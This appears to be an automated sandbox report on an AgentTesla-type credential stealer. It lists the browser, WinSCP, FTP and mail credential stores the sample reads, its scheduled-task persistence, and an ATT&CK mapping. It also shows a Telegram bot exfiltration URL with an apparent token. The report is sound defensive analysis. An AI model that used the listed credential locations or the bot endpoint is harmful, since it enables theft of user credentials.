Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Queries volume information: C:\Users\user\Desktop\z1E-catalogSamples.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Queries volume information: C:\Users\user\AppData\Roaming\vZkoWbol.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Queries volume information: C:\Users\user\AppData\Roaming\vZkoWbol.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.43b9e58.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.443ad98.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.4400378.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.437f438.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.443ad98.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.4400378.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.4526667510.0000000003157000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4526667510.0000000003131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z1E-catalogSamples.exe PID: 4856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: z1E-catalogSamples.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vZkoWbol.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vZkoWbol.exe PID: 7324, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.43b9e58.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.443ad98.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.4400378.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.437f438.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.443ad98.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.4400378.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z1E-catalogSamples.exe PID: 4856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: z1E-catalogSamples.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vZkoWbol.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vZkoWbol.exe PID: 7324, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.43b9e58.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.443ad98.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.4400378.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.437f438.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.443ad98.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.4400378.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.4526667510.0000000003131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z1E-catalogSamples.exe PID: 4856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: z1E-catalogSamples.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vZkoWbol.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vZkoWbol.exe PID: 7324, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.43b9e58.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.443ad98.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.4400378.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.437f438.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.443ad98.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.4400378.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.4526667510.0000000003157000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4526667510.0000000003131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z1E-catalogSamples.exe PID: 4856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: z1E-catalogSamples.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vZkoWbol.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vZkoWbol.exe PID: 7324, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.43b9e58.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.443ad98.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.4400378.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.437f438.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.443ad98.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.vZkoWbol.exe.4400378.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.43b9e58.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z1E-catalogSamples.exe.437f438.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z1E-catalogSamples.exe PID: 4856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: z1E-catalogSamples.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vZkoWbol.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vZkoWbol.exe PID: 7324, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	211 Security Software Discovery	Distributed Component Object Model	21 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	1 Clipboard Data	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
z1E-catalogSamples.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.LokiBot
z1E-catalogSamples.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\vZkoWbol.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\vZkoWbol.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.LokiBot

Source	Detection	Scanner	Label	Link
https://api.telegram	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.12.205	true	false		high
api.telegram.org	149.154.167.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
https://api.telegram.org/bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram	z1E-catalogSamples.exe, 00000006.00000002.4526832028.000000000346A000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://api.ipify.org	z1E-catalogSamples.exe, 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003201000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, vZkoWbol.exe, 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.00000000030E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/	z1E-catalogSamples.exe, 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003201000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, vZkoWbol.exe, 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.00000000030E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.dyn.com/	z1E-catalogSamples.exe, 00000000.00000002.2102047965.000000000437F000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4523979297.000000000042A000.00000040.00000400.00020000.00000000.sdmp, vZkoWbol.exe, 00000007.00000002.2140827658.0000000004400000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003306000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003388000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000036A3000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.000000000329A000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.000000000324B000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000033E3000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000035F0000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.000000000346A000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.0000000003157000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.00000000031E2000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.000000000334D000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.000000000327E000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.0000000003178000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	vZkoWbol.exe, 0000000C.00000002.4526667510.00000000030E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.telegram.org	z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000036A3000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003707000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000033E3000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.00000000035F0000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.000000000346A000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.0000000003157000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.00000000031E2000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.000000000334D000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.000000000327E000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.0000000003178000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	z1E-catalogSamples.exe, 00000000.00000002.2101535049.00000000031EB000.00000004.00000800.00020000.00000000.sdmp, z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003201000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 00000007.00000002.2139622475.000000000326F000.00000004.00000800.00020000.00000000.sdmp, vZkoWbol.exe, 0000000C.00000002.4526667510.00000000030E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.orgDAh	z1E-catalogSamples.exe, 00000006.00000002.4526832028.0000000003306000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false
104.26.12.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428897
Start date and time:	2024-04-19 19:32:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	z1E-catalogSamples.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@18/11@3/2
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 98% Number of executed functions: 169 Number of non-executed functions: 14
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target z1E-catalogSamples.exe, PID 4856 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: z1E-catalogSamples.exe

Simulations

Behavior and APIs

Time	Type	Description
19:33:01	API Interceptor	8119555x Sleep call for process: z1E-catalogSamples.exe modified
19:33:03	API Interceptor	13x Sleep call for process: powershell.exe modified
19:33:04	Task Scheduler	Run new task: vZkoWbol path: C:\Users\user\AppData\Roaming\vZkoWbol.exe
19:33:05	API Interceptor	5898905x Sleep call for process: vZkoWbol.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	W4tW72sfAD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	s.exe	Get hash	malicious	Unknown	Browse
	s.exe	Get hash	malicious	Unknown	Browse
	DHL.exe	Get hash	malicious	AgentTesla	Browse
	Sp#U251c#U0434ti.exe	Get hash	malicious	DanaBot	Browse
	Sp#U251c#U0434ti.exe	Get hash	malicious	Unknown	Browse
	s.exe	Get hash	malicious	Unknown	Browse
	pQTmpNQX2u.exe	Get hash	malicious	DCRat	Browse
	Sp#U251c#U0434ti.exe	Get hash	malicious	Unknown	Browse
	Sp#U251c#U0434ti.exe	Get hash	malicious	Unknown	Browse
104.26.12.205	Sky-Beta.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Backdoor.Win32.Agent.myuuxz.13708.17224.exe	Get hash	malicious	Bunny Loader	Browse	api.ipify.org/
	lods.cmd	Get hash	malicious	Remcos	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	PO-095325.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Copy of Poseidon Marine 4th monthly Stores Apr 2024 R3 .xls.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	eOU2MVDmTd.exe	Get hash	malicious	CredGrabber, Meduza Stealer, PureLog Stealer, zgRAT	Browse	172.67.74.152
	Receipt_032114005.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	eO2bqORIJb.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
